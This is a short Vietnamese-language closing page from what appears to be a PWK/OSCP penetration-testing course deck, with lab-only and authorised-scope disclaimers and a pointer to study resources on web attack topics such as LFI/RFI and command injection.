  • Các lệnh, payload và địa chỉ trong deck được giữ từ tài liệu PWK và chỉ dùng trong lab.
  • Không áp dụng lên hệ thống công cộng hoặc mục tiêu chưa được ủy quyền.
  • Ghi đè file, đổi credential và tạo reverse shell là hành động có tác động cao.
  • Trong engagement thực tế cần tuân thủ Scope, Rules of Engagement và kế hoạch hoàn nguyên.
An toànDừng ngay nếu target, IP hoặc quyền hạn không khớp phạm vi được cấp.
Tài nguyênTài Liệu Học Tập PWK

Tài liệu, sách và video tiếng Việt hỗ trợ học PWK / OSCP

Ôn lại Directory Traversal, LFI/RFI, File Upload, Command Injection và quy trình ghi notes kỹ thuật theo lộ trình.

security365.vn/pwk-oscp/

Nội dung phục vụ học tập và thực hành trong môi trường được ủy quyền.